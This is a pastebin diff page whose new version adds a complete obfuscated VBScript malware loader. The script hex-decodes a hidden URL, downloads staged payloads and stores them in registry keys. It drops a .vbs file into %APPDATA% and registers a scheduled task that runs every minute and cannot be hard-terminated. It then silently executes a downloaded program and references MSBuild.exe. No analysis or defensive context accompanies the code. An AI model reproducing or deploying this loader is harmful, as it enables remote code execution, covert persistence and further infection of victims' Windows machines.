pastebin - collaborative debugging tool
kpaste.net RSS

Difference between
modified post 43f2a7 by Anonymous on Wed 26th Feb 2025 06:51
original post c1bcb15 by Anonymous on Wed 26th Feb 2025 06:50
Download diff
Show old version | new version | both versions

    
1-
33363338333733343337333433373330333336313332363633323636333333313333333433333332333236353333333233333330333333323332363533333332333333343333333033323635333333363333333833323636333333313333333533333330333333313333333233333330333333323333333533323636
1+
Function BTRK(HexData)
2-


2+
    Dim QRSP, WNKY, FJTX, OPLR


3-


3+
    QRSP = ""


4-


4+
    For WNKY = 1 To Len(HexData) Step 2


5-


5+
        FJTX = Mid(HexData, WNKY, 2)


6-


6+
        OPLR = Chr(CLng("&H" & FJTX))


7-


7+
        QRSP = QRSP & OPLR


8-


8+
    Next


9-


9+
    BTRK = QRSP


10-


10+
End Function


1111


12-


12+
Function KLNV()


13-


13+
    On Error Resume Next


14-


14+
    Dim CXWT, LHVP, BKZM


15-


15+
    Set CXWT = CreateObject("WScript.Shell")


16-


16+
    LHVP = CXWT.RegRead(BTRK(PGZY("w1")))


17-


17+
    BKZM = CXWT.RegRead(BTRK(PGZY("w2")))


18-


18+
    KLNV = (LHVP = 2 And BKZM = 0)


19-


19+
    Set CXWT = Nothing


20-


20+
End Function


2121


22-


22+
Sub MTXZ(FVLP, YNKR)


23-


23+
    Dim XPJM


24-


24+
    Set XPJM = CreateObject("WScript.Shell")


25-


25+
    XPJM.RegWrite "HKCU\Software\nhRJoZfYpvbMEZs\" & FVLP, YNKR, "REG_SZ"


26-


26+
    Set XPJM = Nothing


27-


27+
End Sub


2828


29-


29+
Function PGZY(RJYL)


30-


30+
    On Error Resume Next


31-


31+
    Dim BQLF, TKSM


32-


32+
    TKSM = BTRK(BTRK(BTRK("33363338333733343337333433373330333336313332363633323636333333313333333433333332333236353333333233333330333333323332363533333332333333343333333033323635333333363333333833323636333333313333333533333330333333313333333233333330333333323333333533323636"))) & RJYL


33-


33+
    Set BQLF = CreateObject("WinHttp.WinHttpRequest.5.1")


34-


34+
    BQLF.Open "GET", TKSM, False


35-


35+
    BQLF.Send


36-


36+
    If BQLF.Status = 200 Then


37-


37+
        PGZY = BQLF.ResponseText


38-


38+
    Else


39-


39+
        PGZY = ""


40-


40+
    End If


41-


41+
    Set BQLF = Nothing


42-


42+
End Function


4343


4444


45-


45+
Sub HQBL(ZXPM)


46-


46+
    Dim KDVG, VBRJ


47-


47+
    Set KDVG = CreateObject("Scripting.FileSystemObject")


48-


48+
    VBRJ = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\nhRJoZfYpvbMEZs.vbs"


49-


49+
    With KDVG.CreateTextFile(VBRJ, True)


50-


50+
        .Write ZXPM


51-


51+
        .Close


52-


52+
    End With


53-


53+
    Set KDVG = Nothing


54-


54+
End Sub


5555


56-


56+
Sub YTFD()


57-


57+
    On Error Resume Next


58-


58+
    Dim KDRL, LFXQ, JNVZ


59-


59+
    Set KDRL = CreateObject("Schedule.Service")


60-


60+
    KDRL.Connect


61-


61+
    Set LFXQ = KDRL.NewTask(0)


62-


62+
    With LFXQ.Triggers.Create(1)


63-


63+
        .StartBoundary = "2024-08-16T00:00:00"


64-


64+
        .Repetition.Interval = "PT1M"


65-


65+
    End With


66-


66+
    With LFXQ.Settings


67-


67+
        .DisallowStartIfOnBatteries = False


68-


68+
        .StopIfGoingOnBatteries = False


69-


69+
        .AllowHardTerminate = False


70-


70+
    End With


71-


71+
    LFXQ.Actions.Create(0).Path = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\nhRJoZfYpvbMEZs.vbs"


72-


72+
    Set JNVZ = KDRL.GetFolder("\")


73-


73+
    JNVZ.RegisterTaskDefinition "nhRJoZfYpvbMEZs", LFXQ, 6, , , 3


74-


74+
    Set KDRL = Nothing


75-


75+
End Sub


7676


77-


77+
Sub XWCB(JNLM)


78-


78+
    Dim DFVR, RJYQ, PKXT, QKTR, HGFC


79-


79+
    DFVR = Len(JNLM)


80-


80+
    HGFC = 1


81-


81+
    For RJYQ = 1 To DFVR Step 20000


82-


82+
        PKXT = Mid(JNLM, RJYQ, 20000)


83-


83+
        QKTR = "\donn\data" & HGFC


84-


84+
        MTXZ QKTR, PKXT


85-


85+
        HGFC = HGFC + 1


86-


86+
    Next


87-


87+
End Sub


8888


89-


89+
Sub ZMCL()


90-


90+
    MTXZ "Path", "nhRJoZfYpvbMEZs"


91-


91+
    MTXZ "in", "0"


92-


92+
    MTXZ "i", BTRK("4D534275696C642E657865")


93-


93+
    MTXZ "s", BTRK(PGZY("s"))


94-


94+
    MTXZ "v", Replace(BTRK(PGZY("v")), "|path|", "nhRJoZfYpvbMEZs")


95-


95+
    MTXZ "r", PGZY("r")


96-


96+
    MTXZ "cn", BTRK(PGZY("cn"))


97-


97+
    HQBL Replace(BTRK(PGZY("file")), "|path|", "nhRJoZfYpvbMEZs")


98-


98+
    XWCB PGZY("devil.txt")


99-


99+
    YTFD()


100-


100+
    If KLNV() Then


101-


101+
      Dim WshShell


102-


102+
      Set WshShell = CreateObject("WScript.Shell")


103103


104-


104+
      Dim InstantPath


105-


105+
      InstantPath = Replace(BTRK(PGZY("instant")), "|path|", "nhRJoZfYpvbMEZs")


106106


107-


107+
      MTXZ "instant", InstantPath


108-


108+
      WshShell.Run InstantPath, 0


109-


109+
      MTXZ "in", "1"


110110


111-


111+
    Set WshShell = Nothing


112-


112+
End If


113113


114114


115-


115+
End Sub


116116


117-


117+
ZMCL()








Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.





 
Syntax highlighting:





To highlight particular lines, prefix each line with {%HIGHLIGHT}










 
























































All content is user-submitted.

The administrators of this site (kpaste.net) are not responsible for their content.

Abuse reports should be emailed to us at